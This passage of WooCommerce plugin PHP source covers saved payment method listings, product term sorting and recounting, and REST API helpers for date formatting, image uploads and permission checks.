$getter = "get_{$address_type}";
$address = array();
if ( 0 === $customer_id ) {
$customer_id = get_current_user_id();
}
$customer = new WC_Customer( $customer_id );
if ( is_callable( array( $customer, $getter ) ) ) {
$address = $customer->$getter();
unset( $address['email'], $address['tel'] );
}
return WC()->countries->get_formatted_address( apply_filters( 'woocommerce_my_account_my_address_formatted_address', $address, $customer->get_id(), $address_type ) );
}
/**
* Returns an array of a user's saved payments list for output on the account tab.
*
* @since 2.6
* @param array $list List of payment methods passed from wc_get_customer_saved_methods_list().
* @param int $customer_id The customer to fetch payment methods for.
* @return array Filtered list of customers payment methods.
*/
function wc_get_account_saved_payment_methods_list( $list, $customer_id ) {
$payment_tokens = WC_Payment_Tokens::get_customer_tokens( $customer_id );
foreach ( $payment_tokens as $payment_token ) {
$delete_url = wc_get_endpoint_url( 'delete-payment-method', $payment_token->get_id() );
$delete_url = wp_nonce_url( $delete_url, 'delete-payment-method-' . $payment_token->get_id() );
$set_default_url = wc_get_endpoint_url( 'set-default-payment-method', $payment_token->get_id() );
$set_default_url = wp_nonce_url( $set_default_url, 'set-default-payment-method-' . $payment_token->get_id() );
$type = strtolower( $payment_token->get_type() );
$list[ $type ][] = array(
'method' => array(
'gateway' => $payment_token->get_gateway_id(),
),
'expires' => esc_html__( 'N/A', 'woocommerce' ),
'is_default' => $payment_token->is_default(),
'actions' => array(
'delete' => array(
'url' => $delete_url,
'name' => esc_html__( 'Delete', 'woocommerce' ),
),
),
);
$key = key( array_slice( $list[ $type ], -1, 1, true ) );
if ( ! $payment_token->is_default() ) {
$list[ $type ][ $key ]['actions']['default'] = array(
'url' => $set_default_url,
'name' => esc_html__( 'Make default', 'woocommerce' ),
);
}
$list[ $type ][ $key ] = apply_filters( 'woocommerce_payment_methods_list_item', $list[ $type ][ $key ], $payment_token );
}
return $list;
}
add_filter( 'woocommerce_saved_payment_methods_list', 'wc_get_account_saved_payment_methods_list', 10, 2 );
/**
* Controls the output for credit cards on the my account page.
*
* @since 2.6
* @param array $item Individual list item from woocommerce_saved_payment_methods_list.
* @param WC_Payment_Token $payment_token The payment token associated with this method entry.
* @return array Filtered item.
*/
function wc_get_account_saved_payment_methods_list_item_cc( $item, $payment_token ) {
if ( 'cc' !== strtolower( $payment_token->get_type() ) ) {
return $item;
}
$card_type = $payment_token->get_card_type();
$item['method']['last4'] = $payment_token->get_last4();
$item['method']['brand'] = ( ! empty( $card_type ) ? ucwords( str_replace( '_', ' ', $card_type ) ) : esc_html__( 'Credit card', 'woocommerce' ) );
$item['expires'] = $payment_token->get_expiry_month() . '/' . substr( $payment_token->get_expiry_year(), -2 );
return $item;
}
add_filter( 'woocommerce_payment_methods_list_item', 'wc_get_account_saved_payment_methods_list_item_cc', 10, 2 );
/**
* Controls the output for eChecks on the my account page.
*
* @since 2.6
* @param array $item Individual list item from woocommerce_saved_payment_methods_list.
* @param WC_Payment_Token $payment_token The payment token associated with this method entry.
* @return array Filtered item.
*/
function wc_get_account_saved_payment_methods_list_item_echeck( $item, $payment_token ) {
if ( 'echeck' !== strtolower( $payment_token->get_type() ) ) {
return $item;
}
$item['method']['last4'] = $payment_token->get_last4();
$item['method']['brand'] = esc_html__( 'eCheck', 'woocommerce' );
return $item;
}
add_filter( 'woocommerce_payment_methods_list_item', 'wc_get_account_saved_payment_methods_list_item_echeck', 10, 2 );/**
* WooCommerce Terms
*
* Functions for handling terms/term meta.
*
* @package WooCommerce\Functions
* @version 2.1.0
*/
defined( 'ABSPATH' ) || exit;
/**
* Change get terms defaults for attributes to order by the sorting setting, or default to menu_order for sortable taxonomies.
*
* @since 3.6.0 Sorting options are now set as the default automatically, so you no longer have to request to orderby menu_order.
*
* @param array $defaults An array of default get_terms() arguments.
* @param array $taxonomies An array of taxonomies.
* @return array
*/
function wc_change_get_terms_defaults( $defaults, $taxonomies ) {
if ( is_array( $taxonomies ) && 1 < count( $taxonomies ) ) {
return $defaults;
}
$taxonomy = is_array( $taxonomies ) ? (string) current( $taxonomies ) : $taxonomies;
$orderby = 'name';
if ( taxonomy_is_product_attribute( $taxonomy ) ) {
$orderby = wc_attribute_orderby( $taxonomy );
} elseif ( in_array( $taxonomy, apply_filters( 'woocommerce_sortable_taxonomies', array( 'product_cat' ) ), true ) ) {
$orderby = 'menu_order';
}
// Change defaults. Invalid values will be changed later @see wc_change_pre_get_terms.
// These are in place so we know if a specific order was requested.
switch ( $orderby ) {
case 'menu_order':
case 'name_num':
case 'parent':
$defaults['orderby'] = $orderby;
break;
}
return $defaults;
}
add_filter( 'get_terms_defaults', 'wc_change_get_terms_defaults', 10, 2 );
/**
* Adds support to get_terms for menu_order argument.
*
* @since 3.6.0
* @param WP_Term_Query $terms_query Instance of WP_Term_Query.
*/
function wc_change_pre_get_terms( $terms_query ) {
$args = &$terms_query->query_vars;
// Put back valid orderby values.
if ( 'menu_order' === $args['orderby'] ) {
$args['orderby'] = 'name';
$args['force_menu_order_sort'] = true;
}
if ( 'name_num' === $args['orderby'] ) {
$args['orderby'] = 'name';
$args['force_numeric_name'] = true;
}
// When COUNTING, disable custom sorting.
if ( 'count' === $args['fields'] ) {
return;
}
// Support menu_order arg used in previous versions.
if ( ! empty( $args['menu_order'] ) ) {
$args['order'] = 'DESC' === strtoupper( $args['menu_order'] ) ? 'DESC' : 'ASC';
$args['force_menu_order_sort'] = true;
}
if ( ! empty( $args['force_menu_order_sort'] ) ) {
$args['orderby'] = 'meta_value_num';
$args['meta_key'] = 'order'; // phpcs:ignore
$terms_query->meta_query->parse_query_vars( $args );
}
}
add_action( 'pre_get_terms', 'wc_change_pre_get_terms', 10, 1 );
/**
* Adjust term query to handle custom sorting parameters.
*
* @param array $clauses Clauses.
* @param array $taxonomies Taxonomies.
* @param array $args Arguments.
* @return array
*/
function wc_terms_clauses( $clauses, $taxonomies, $args ) {
global $wpdb;
// No need to filter when counting.
if ( strpos( $clauses['fields'], 'COUNT(*)' ) !== false ) {
return $clauses;
}
// Force numeric sort if using name_num custom sorting param.
if ( ! empty( $args['force_numeric_name'] ) ) {
$clauses['orderby'] = str_replace( 'ORDER BY t.name', 'ORDER BY t.name+0', $clauses['orderby'] );
}
// For sorting, force left join in case order meta is missing.
if ( ! empty( $args['force_menu_order_sort'] ) ) {
$clauses['join'] = str_replace( "INNER JOIN {$wpdb->termmeta} ON ( t.term_id = {$wpdb->termmeta}.term_id )", "LEFT JOIN {$wpdb->termmeta} ON ( t.term_id = {$wpdb->termmeta}.term_id AND {$wpdb->termmeta}.meta_key='order')", $clauses['join'] );
$clauses['where'] = str_replace( "{$wpdb->termmeta}.meta_key = 'order'", "( {$wpdb->termmeta}.meta_key = 'order' OR {$wpdb->termmeta}.meta_key IS NULL )", $clauses['where'] );
$clauses['orderby'] = 'DESC' === $args['order'] ? str_replace( 'meta_value+0', 'meta_value+0 DESC, t.name', $clauses['orderby'] ) : str_replace( 'meta_value+0', 'meta_value+0 ASC, t.name', $clauses['orderby'] );
}
return $clauses;
}
add_filter( 'terms_clauses', 'wc_terms_clauses', 99, 3 );
/**
* Helper to get cached object terms and filter by field using wp_list_pluck().
* Works as a cached alternative for wp_get_post_terms() and wp_get_object_terms().
*
* @since 3.0.0
* @param int $object_id Object ID.
* @param string $taxonomy Taxonomy slug.
* @param string $field Field name.
* @param string $index_key Index key name.
* @return array
*/
function wc_get_object_terms( $object_id, $taxonomy, $field = null, $index_key = null ) {
// Test if terms exists. get_the_terms() return false when it finds no terms.
$terms = get_the_terms( $object_id, $taxonomy );
if ( ! $terms || is_wp_error( $terms ) ) {
return array();
}
return is_null( $field ) ? $terms : wp_list_pluck( $terms, $field, $index_key );
}
/**
* Cached version of wp_get_post_terms().
* This is a private function (internal use ONLY).
*
* @since 3.0.0
* @param int $product_id Product ID.
* @param string $taxonomy Taxonomy slug.
* @param array $args Query arguments.
* @return array
*/
function _wc_get_cached_product_terms( $product_id, $taxonomy, $args = array() ) {
$cache_key = 'wc_' . $taxonomy . md5( wp_json_encode( $args ) );
$cache_group = WC_Cache_Helper::get_cache_prefix( 'product_' . $product_id ) . $product_id;
$terms = wp_cache_get( $cache_key, $cache_group );
if ( false !== $terms ) {
return $terms;
}
$terms = wp_get_post_terms( $product_id, $taxonomy, $args );
wp_cache_add( $cache_key, $terms, $cache_group );
return $terms;
}
/**
* Wrapper used to get terms for a product.
*
* @param int $product_id Product ID.
* @param string $taxonomy Taxonomy slug.
* @param array $args Query arguments.
* @return array
*/
function wc_get_product_terms( $product_id, $taxonomy, $args = array() ) {
if ( ! taxonomy_exists( $taxonomy ) ) {
return array();
}
return apply_filters( 'woocommerce_get_product_terms', _wc_get_cached_product_terms( $product_id, $taxonomy, $args ), $product_id, $taxonomy, $args );
}
/**
* Sort by name (numeric).
*
* @param WP_Post $a First item to compare.
* @param WP_Post $b Second item to compare.
* @return int
*/
function _wc_get_product_terms_name_num_usort_callback( $a, $b ) {
$a_name = (float) $a->name;
$b_name = (float) $b->name;
if ( abs( $a_name - $b_name ) < 0.001 ) {
return 0;
}
return ( $a_name < $b_name ) ? -1 : 1;
}
/**
* Sort by parent.
*
* @param WP_Post $a First item to compare.
* @param WP_Post $b Second item to compare.
* @return int
*/
function _wc_get_product_terms_parent_usort_callback( $a, $b ) {
if ( $a->parent === $b->parent ) {
return 0;
}
return ( $a->parent < $b->parent ) ? 1 : -1;
}
/**
* WooCommerce Dropdown categories.
*
* @param array $args Args to control display of dropdown.
*/
function wc_product_dropdown_categories( $args = array() ) {
global $wp_query;
$args = wp_parse_args(
$args,
array(
'pad_counts' => 1,
'show_count' => 1,
'hierarchical' => 1,
'hide_empty' => 1,
'show_uncategorized' => 1,
'orderby' => 'name',
'selected' => isset( $wp_query->query_vars['product_cat'] ) ? $wp_query->query_vars['product_cat'] : '',
'show_option_none' => __( 'Select a category', 'woocommerce' ),
'option_none_value' => '',
'value_field' => 'slug',
'taxonomy' => 'product_cat',
'name' => 'product_cat',
'class' => 'dropdown_product_cat',
)
);
if ( 'order' === $args['orderby'] ) {
$args['orderby'] = 'meta_value_num';
$args['meta_key'] = 'order'; // phpcs:ignore
}
wp_dropdown_categories( $args );
}
/**
* Custom walker for Product Categories.
*
* Previously used by wc_product_dropdown_categories, but wp_dropdown_categories has been fixed in core.
*
* @param mixed ...$args Variable number of parameters to be passed to the walker.
* @return mixed
*/
function wc_walk_category_dropdown_tree( ...$args ) {
if ( ! class_exists( 'WC_Product_Cat_Dropdown_Walker', false ) ) {
include_once WC()->plugin_path() . '/includes/walkers/class-wc-product-cat-dropdown-walker.php';
}
// The user's options are the third parameter.
if ( empty( $args[2]['walker'] ) || ! is_a( $args[2]['walker'], 'Walker' ) ) {
$walker = new WC_Product_Cat_Dropdown_Walker();
} else {
$walker = $args[2]['walker'];
}
return $walker->walk( ...$args );
}
/**
* Migrate data from WC term meta to WP term meta.
*
* When the database is updated to support term meta, migrate WC term meta data across.
* We do this when the new version is >= 34370, and the old version is < 34370 (34370 is when term meta table was added).
*
* @param string $wp_db_version The new $wp_db_version.
* @param string $wp_current_db_version The old (current) $wp_db_version.
*/
function wc_taxonomy_metadata_migrate_data( $wp_db_version, $wp_current_db_version ) {
if ( $wp_db_version >= 34370 && $wp_current_db_version < 34370 ) {
global $wpdb;
if ( $wpdb->query( "INSERT INTO {$wpdb->termmeta} ( term_id, meta_key, meta_value ) SELECT woocommerce_term_id, meta_key, meta_value FROM {$wpdb->prefix}woocommerce_termmeta;" ) ) {
$wpdb->query( "DROP TABLE IF EXISTS {$wpdb->prefix}woocommerce_termmeta" );
}
}
}
add_action( 'wp_upgrade', 'wc_taxonomy_metadata_migrate_data', 10, 2 );
/**
* Move a term before the a given element of its hierarchy level.
*
* @param int $the_term Term ID.
* @param int $next_id The id of the next sibling element in save hierarchy level.
* @param string $taxonomy Taxonomy.
* @param int $index Term index (default: 0).
* @param mixed $terms List of terms. (default: null).
* @return int
*/
function wc_reorder_terms( $the_term, $next_id, $taxonomy, $index = 0, $terms = null ) {
if ( ! $terms ) {
$terms = get_terms( $taxonomy, 'hide_empty=0&parent=0&menu_order=ASC' );
}
if ( empty( $terms ) ) {
return $index;
}
$id = intval( $the_term->term_id );
$term_in_level = false; // Flag: is our term to order in this level of terms.
foreach ( $terms as $term ) {
$term_id = intval( $term->term_id );
if ( $term_id === $id ) { // Our term to order, we skip.
$term_in_level = true;
continue; // Our term to order, we skip.
}
// the nextid of our term to order, lets move our term here.
if ( null !== $next_id && $term_id === $next_id ) {
$index++;
$index = wc_set_term_order( $id, $index, $taxonomy, true );
}
// Set order.
$index++;
$index = wc_set_term_order( $term_id, $index, $taxonomy );
/**
* After a term has had it's order set.
*/
do_action( 'woocommerce_after_set_term_order', $term, $index, $taxonomy );
// If that term has children we walk through them.
$children = get_terms( $taxonomy, "parent={$term_id}&hide_empty=0&menu_order=ASC" );
if ( ! empty( $children ) ) {
$index = wc_reorder_terms( $the_term, $next_id, $taxonomy, $index, $children );
}
}
// No nextid meaning our term is in last position.
if ( $term_in_level && null === $next_id ) {
$index = wc_set_term_order( $id, $index + 1, $taxonomy, true );
}
return $index;
}
/**
* Set the sort order of a term.
*
* @param int $term_id Term ID.
* @param int $index Index.
* @param string $taxonomy Taxonomy.
* @param bool $recursive Recursive (default: false).
* @return int
*/
function wc_set_term_order( $term_id, $index, $taxonomy, $recursive = false ) {
$term_id = (int) $term_id;
$index = (int) $index;
update_term_meta( $term_id, 'order', $index );
if ( ! $recursive ) {
return $index;
}
$children = get_terms( $taxonomy, "parent=$term_id&hide_empty=0&menu_order=ASC" );
foreach ( $children as $term ) {
$index++;
$index = wc_set_term_order( $term->term_id, $index, $taxonomy, true );
}
clean_term_cache( $term_id, $taxonomy );
return $index;
}
/**
* Function for recounting product terms, ignoring hidden products.
*
* @param array $terms List of terms.
* @param object $taxonomy Taxonomy.
* @param bool $callback Callback.
* @param bool $terms_are_term_taxonomy_ids If terms are from term_taxonomy_id column.
*/
function _wc_term_recount( $terms, $taxonomy, $callback = true, $terms_are_term_taxonomy_ids = true ) {
global $wpdb;
/**
* Filter to allow/prevent recounting of terms as it could be expensive.
* A likely scenario for this is when bulk importing products. We could
* then prevent it from recounting per product but instead recount it once
* when import is done. Of course this means the import logic has to support this.
*
* @since 5.2
* @param bool
*/
if ( ! apply_filters( 'woocommerce_product_recount_terms', true ) ) {
return;
}
// Standard callback.
if ( $callback ) {
_update_post_term_count( $terms, $taxonomy );
}
$exclude_term_ids = array();
$product_visibility_term_ids = wc_get_product_visibility_term_ids();
if ( $product_visibility_term_ids['exclude-from-catalog'] ) {
$exclude_term_ids[] = $product_visibility_term_ids['exclude-from-catalog'];
}
if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) && $product_visibility_term_ids['outofstock'] ) {
$exclude_term_ids[] = $product_visibility_term_ids['outofstock'];
}
$query = array(
'fields' => "
SELECT COUNT( DISTINCT ID ) FROM {$wpdb->posts} p
",
'join' => '',
'where' => "
WHERE 1=1
AND p.post_status = 'publish'
AND p.post_type = 'product'
",
);
if ( count( $exclude_term_ids ) ) {
$query['join'] .= " LEFT JOIN ( SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN ( " . implode( ',', array_map( 'absint', $exclude_term_ids ) ) . ' ) ) AS exclude_join ON exclude_join.object_id = p.ID';
$query['where'] .= ' AND exclude_join.object_id IS NULL';
}
// Pre-process term taxonomy ids.
if ( ! $terms_are_term_taxonomy_ids ) {
// We passed in an array of TERMS in format id=>parent.
$terms = array_filter( (array) array_keys( $terms ) );
} else {
// If we have term taxonomy IDs we need to get the term ID.
$term_taxonomy_ids = $terms;
$terms = array();
foreach ( $term_taxonomy_ids as $term_taxonomy_id ) {
$term = get_term_by( 'term_taxonomy_id', $term_taxonomy_id, $taxonomy->name );
$terms[] = $term->term_id;
}
}
// Exit if we have no terms to count.
if ( empty( $terms ) ) {
return;
}
// Ancestors need counting.
if ( is_taxonomy_hierarchical( $taxonomy->name ) ) {
foreach ( $terms as $term_id ) {
$terms = array_merge( $terms, get_ancestors( $term_id, $taxonomy->name ) );
}
}
// Unique terms only.
$terms = array_unique( $terms );
// Count the terms.
foreach ( $terms as $term_id ) {
$terms_to_count = array( absint( $term_id ) );
if ( is_taxonomy_hierarchical( $taxonomy->name ) ) {
// We need to get the $term's hierarchy so we can count its children too.
$children = get_term_children( $term_id, $taxonomy->name );
if ( $children && ! is_wp_error( $children ) ) {
$terms_to_count = array_unique( array_map( 'absint', array_merge( $terms_to_count, $children ) ) );
}
}
// Generate term query.
$term_query = $query;
$term_query['join'] .= " INNER JOIN ( SELECT object_id FROM {$wpdb->term_relationships} INNER JOIN {$wpdb->term_taxonomy} using( term_taxonomy_id ) WHERE term_id IN ( " . implode( ',', array_map( 'absint', $terms_to_count ) ) . ' ) ) AS include_join ON include_join.object_id = p.ID';
// Get the count.
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
$count = $wpdb->get_var( implode( ' ', $term_query ) );
// Update the count.
update_term_meta( $term_id, 'product_count_' . $taxonomy->name, absint( $count ) );
}
delete_transient( 'wc_term_counts' );
}
/**
* Recount terms after the stock amount changes.
*
* @param int $product_id Product ID.
*/
function wc_recount_after_stock_change( $product_id ) {
if ( 'yes' !== get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
return;
}
_wc_recount_terms_by_product( $product_id );
}
add_action( 'woocommerce_product_set_stock_status', 'wc_recount_after_stock_change' );
/**
* Overrides the original term count for product categories and tags with the product count.
* that takes catalog visibility into account.
*
* @param array $terms List of terms.
* @param string|array $taxonomies Single taxonomy or list of taxonomies.
* @return array
*/
function wc_change_term_counts( $terms, $taxonomies ) {
if ( is_admin() || wp_doing_ajax() ) {
return $terms;
}
if ( ! isset( $taxonomies[0] ) || ! in_array( $taxonomies[0], apply_filters( 'woocommerce_change_term_counts', array( 'product_cat', 'product_tag' ) ), true ) ) {
return $terms;
}
$o_term_counts = get_transient( 'wc_term_counts' );
$term_counts = false === $o_term_counts ? array() : $o_term_counts;
foreach ( $terms as &$term ) {
if ( is_object( $term ) ) {
$term_counts[ $term->term_id ] =
isset( $term_counts[ $term->term_id ] ) ?
$term_counts[ $term->term_id ] :
get_term_meta( $term->term_id, 'product_count_' . $taxonomies[0], true );
if ( '' !== $term_counts[ $term->term_id ] ) {
$term->count = absint( $term_counts[ $term->term_id ] );
}
}
}
// Update transient.
if ( $term_counts !== $o_term_counts ) {
set_transient( 'wc_term_counts', $term_counts, DAY_IN_SECONDS * 30 );
}
return $terms;
}
add_filter( 'get_terms', 'wc_change_term_counts', 10, 2 );
/**
* Return products in a given term, and cache value.
*
* To keep in sync, product_count will be cleared on "set_object_terms".
*
* @param int $term_id Term ID.
* @param string $taxonomy Taxonomy.
* @return array
*/
function wc_get_term_product_ids( $term_id, $taxonomy ) {
$product_ids = get_term_meta( $term_id, 'product_ids', true );
if ( false === $product_ids || ! is_array( $product_ids ) ) {
$product_ids = get_objects_in_term( $term_id, $taxonomy );
update_term_meta( $term_id, 'product_ids', $product_ids );
}
return $product_ids;
}
/**
* When a post is updated and terms recounted (called by _update_post_term_count), clear the ids.
*
* @param int $object_id Object ID.
* @param array $terms An array of object terms.
* @param array $tt_ids An array of term taxonomy IDs.
* @param string $taxonomy Taxonomy slug.
* @param bool $append Whether to append new terms to the old terms.
* @param array $old_tt_ids Old array of term taxonomy IDs.
*/
function wc_clear_term_product_ids( $object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids ) {
foreach ( $old_tt_ids as $term_id ) {
delete_term_meta( $term_id, 'product_ids' );
}
foreach ( $tt_ids as $term_id ) {
delete_term_meta( $term_id, 'product_ids' );
}
}
add_action( 'set_object_terms', 'wc_clear_term_product_ids', 10, 6 );
/**
* Get full list of product visibility term ids.
*
* @since 3.0.0
* @return int[]
*/
function wc_get_product_visibility_term_ids() {
if ( ! taxonomy_exists( 'product_visibility' ) ) {
wc_doing_it_wrong( __FUNCTION__, 'wc_get_product_visibility_term_ids should not be called before taxonomies are registered (woocommerce_after_register_post_type action).', '3.1' );
return array();
}
return array_map(
'absint',
wp_parse_args(
wp_list_pluck(
get_terms(
array(
'taxonomy' => 'product_visibility',
'hide_empty' => false,
)
),
'term_taxonomy_id',
'name'
),
array(
'exclude-from-catalog' => 0,
'exclude-from-search' => 0,
'featured' => 0,
'outofstock' => 0,
'rated-1' => 0,
'rated-2' => 0,
'rated-3' => 0,
'rated-4' => 0,
'rated-5' => 0,
)
)
);
}
/**
* Recounts all terms.
*
* @since 5.2
* @return void
*/
function wc_recount_all_terms() {
$product_cats = get_terms(
'product_cat',
array(
'hide_empty' => false,
'fields' => 'id=>parent',
)
);
_wc_term_recount( $product_cats, get_taxonomy( 'product_cat' ), true, false );
$product_tags = get_terms(
'product_tag',
array(
'hide_empty' => false,
'fields' => 'id=>parent',
)
);
_wc_term_recount( $product_tags, get_taxonomy( 'product_tag' ), true, false );
}
/**
* Recounts terms by product.
*
* @since 5.2
* @param int $product_id The ID of the product.
* @return void
*/
function _wc_recount_terms_by_product( $product_id = '' ) {
if ( empty( $product_id ) ) {
return;
}
$product_terms = get_the_terms( $product_id, 'product_cat' );
if ( $product_terms ) {
$product_cats = array();
foreach ( $product_terms as $term ) {
$product_cats[ $term->term_id ] = $term->parent;
}
_wc_term_recount( $product_cats, get_taxonomy( 'product_cat' ), false, false );
}
$product_terms = get_the_terms( $product_id, 'product_tag' );
if ( $product_terms ) {
$product_tags = array();
foreach ( $product_terms as $term ) {
$product_tags[ $term->term_id ] = $term->parent;
}
_wc_term_recount( $product_tags, get_taxonomy( 'product_tag' ), false, false );
}
}/**
* WooCommerce REST Functions
*
* Functions for REST specific things.
*
* @package WooCommerce\Functions
* @version 2.6.0
*/
defined( 'ABSPATH' ) || exit;
/**
* Parses and formats a date for ISO8601/RFC3339.
*
* Required WP 4.4 or later.
* See https://developer.wordpress.org/reference/functions/mysql_to_rfc3339/
*
* @since 2.6.0
* @param string|null|WC_DateTime $date Date.
* @param bool $utc Send false to get local/offset time.
* @return string|null ISO8601/RFC3339 formatted datetime.
*/
function wc_rest_prepare_date_response( $date, $utc = true ) {
if ( is_numeric( $date ) ) {
$date = new WC_DateTime( "@$date", new DateTimeZone( 'UTC' ) );
$date->setTimezone( new DateTimeZone( wc_timezone_string() ) );
} elseif ( is_string( $date ) ) {
$date = new WC_DateTime( $date, new DateTimeZone( 'UTC' ) );
$date->setTimezone( new DateTimeZone( wc_timezone_string() ) );
}
if ( ! is_a( $date, 'WC_DateTime' ) ) {
return null;
}
// Get timestamp before changing timezone to UTC.
return gmdate( 'Y-m-d\TH:i:s', $utc ? $date->getTimestamp() : $date->getOffsetTimestamp() );
}
/**
* Returns image mime types users are allowed to upload via the API.
*
* @since 2.6.4
* @return array
*/
function wc_rest_allowed_image_mime_types() {
return apply_filters(
'woocommerce_rest_allowed_image_mime_types',
array(
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
'webp' => 'image/webp',
)
);
}
/**
* Upload image from URL.
*
* @since 2.6.0
* @param string $image_url Image URL.
* @return array|WP_Error Attachment data or error message.
*/
function wc_rest_upload_image_from_url( $image_url ) {
$parsed_url = wp_parse_url( $image_url );
// Check parsed URL.
if ( ! $parsed_url || ! is_array( $parsed_url ) ) {
/* translators: %s: image URL */
return new WP_Error( 'woocommerce_rest_invalid_image_url', sprintf( __( 'Invalid URL %s.', 'woocommerce' ), $image_url ), array( 'status' => 400 ) );
}
// Ensure url is valid.
$image_url = esc_url_raw( $image_url );
// download_url function is part of wp-admin.
if ( ! function_exists( 'download_url' ) ) {
include_once ABSPATH . 'wp-admin/includes/file.php';
}
$file_array = array();
$file_array['name'] = basename( current( explode( '?', $image_url ) ) );
// Download file to temp location.
$file_array['tmp_name'] = download_url( $image_url );
// If error storing temporarily, return the error.
if ( is_wp_error( $file_array['tmp_name'] ) ) {
return new WP_Error(
'woocommerce_rest_invalid_remote_image_url',
/* translators: %s: image URL */
sprintf( __( 'Error getting remote image %s.', 'woocommerce' ), $image_url ) . ' '
/* translators: %s: error message */
. sprintf( __( 'Error: %s', 'woocommerce' ), $file_array['tmp_name']->get_error_message() ),
array( 'status' => 400 )
);
}
// Do the validation and storage stuff.
$file = wp_handle_sideload(
$file_array,
array(
'test_form' => false,
'mimes' => wc_rest_allowed_image_mime_types(),
),
current_time( 'Y/m' )
);
if ( isset( $file['error'] ) ) {
@unlink( $file_array['tmp_name'] ); // @codingStandardsIgnoreLine.
/* translators: %s: error message */
return new WP_Error( 'woocommerce_rest_invalid_image', sprintf( __( 'Invalid image: %s', 'woocommerce' ), $file['error'] ), array( 'status' => 400 ) );
}
do_action( 'woocommerce_rest_api_uploaded_image_from_url', $file, $image_url );
return $file;
}
/**
* Set uploaded image as attachment.
*
* @since 2.6.0
* @param array $upload Upload information from wp_upload_bits.
* @param int $id Post ID. Default to 0.
* @return int Attachment ID
*/
function wc_rest_set_uploaded_image_as_attachment( $upload, $id = 0 ) {
$info = wp_check_filetype( $upload['file'] );
$title = '';
$content = '';
if ( ! function_exists( 'wp_generate_attachment_metadata' ) ) {
include_once ABSPATH . 'wp-admin/includes/image.php';
}
$image_meta = @wp_read_image_metadata( $upload['file'] );
if ( $image_meta ) {
if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
$title = wc_clean( $image_meta['title'] );
}
if ( trim( $image_meta['caption'] ) ) {
$content = wc_clean( $image_meta['caption'] );
}
}
$attachment = array(
'post_mime_type' => $info['type'],
'guid' => $upload['url'],
'post_parent' => $id,
'post_title' => $title ? $title : basename( $upload['file'] ),
'post_content' => $content,
);
$attachment_id = wp_insert_attachment( $attachment, $upload['file'], $id );
if ( ! is_wp_error( $attachment_id ) ) {
@wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $upload['file'] ) );
}
return $attachment_id;
}
/**
* Validate reports request arguments.
*
* @since 2.6.0
* @param mixed $value Value to validate.
* @param WP_REST_Request $request Request instance.
* @param string $param Param to validate.
* @return WP_Error|boolean
*/
function wc_rest_validate_reports_request_arg( $value, $request, $param ) {
$attributes = $request->get_attributes();
if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
return true;
}
$args = $attributes['args'][ $param ];
if ( 'string' === $args['type'] && ! is_string( $value ) ) {
/* translators: 1: param 2: type */
return new WP_Error( 'woocommerce_rest_invalid_param', sprintf( __( '%1$s is not of type %2$s', 'woocommerce' ), $param, 'string' ) );
}
if ( 'date' === $args['format'] ) {
$regex = '#^\d{4}-\d{2}-\d{2}$#';
if ( ! preg_match( $regex, $value, $matches ) ) {
return new WP_Error( 'woocommerce_rest_invalid_date', __( 'The date you provided is invalid.', 'woocommerce' ) );
}
}
return true;
}
/**
* Encodes a value according to RFC 3986.
* Supports multidimensional arrays.
*
* @since 2.6.0
* @param string|array $value The value to encode.
* @return string|array Encoded values.
*/
function wc_rest_urlencode_rfc3986( $value ) {
if ( is_array( $value ) ) {
return array_map( 'wc_rest_urlencode_rfc3986', $value );
}
return str_replace( array( '+', '%7E' ), array( ' ', '~' ), rawurlencode( $value ) );
}
/**
* Check permissions of posts on REST API.
*
* @since 2.6.0
* @param string $post_type Post type.
* @param string $context Request context.
* @param int $object_id Post ID.
* @return bool
*/
function wc_rest_check_post_permissions( $post_type, $context = 'read', $object_id = 0 ) {
$contexts = array(
'read' => 'read_private_posts',
'create' => 'publish_posts',
'edit' => 'edit_post',
'delete' => 'delete_post',
'batch' => 'edit_others_posts',
);
if ( 'revision' === $post_type ) {
$permission = false;
} else {
$cap = $contexts[ $context ];
$post_type_object = get_post_type_object( $post_type );
$permission = current_user_can( $post_type_object->cap->$cap, $object_id );
}
return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, $post_type );
}
/**
* Check permissions of users on REST API.
*
* @since 2.6.0
* @param string $context Request context.
* @param int $object_id Post ID.
* @return bool
*/
function wc_rest_check_user_permissions( $context = 'read', $object_id = 0 ) {
$contexts = array(
'read' => 'list_users',
'create' => 'promote_users', // Check if current user can create users, shop managers are not allowed to create users.
'edit' => 'edit_users',
'delete' => 'delete_users',
'batch' => 'promote_users',
);
// Check to allow shop_managers to manage only customers.
if ( in_array( $context, array( 'edit', 'delete' ), true ) && wc_current_user_has_role( 'shop_manager' ) ) {
$permission = false;
$user_data = get_userdata( $object_id );
$shop_manager_editable_roles = apply_filters( 'woocommerce_shop_manager_editable_roles', array( 'customer' ) );
if ( isset( $user_data->roles ) ) {
$can_manage_users = array_intersect( $user_data->roles, array_unique( $shop_manager_editable_roles ) );
// Check if Shop Manager can edit customer or with the is same shop manager.
if ( 0 < count( $can_manage_users ) || intval( $object_id ) === intval( get_current_user_id() ) ) {
$permission = current_user_can( $contexts[ $context ], $object_id );
}
}
} else {
$permission = current_user_can( $contexts[ $context ], $object_id );
}
return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, 'user' );
}
/**
* Check permissions of product terms on REST API.
*
* @since 2.6.0
* @param string $taxonomy Taxonomy.
* @param string $context Request context.
* @param int $object_id Post ID.
* @return bool
*/
function wc_rest_check_product_term_permissions( $taxonomy, $context = 'read', $object_id = 0 ) {
$contexts = array(
'read' => 'manage_terms',
'create' => 'edit_terms',
'edit' => 'edit_terms',
'delete' => 'delete_terms',
'batch' => 'edit_terms',
);
$cap = $contexts[ $context ];
$taxonomy_object = get_taxonomy( $taxonomy );
$permission = current_user_can( $taxonomy_object->cap->$cap, $object_id );
return apply_filters( 'woocommerce_rest_check_permissions', $permission, $context, $object_id, $taxonomy );
}
/**
* Check manager permissions on REST API.
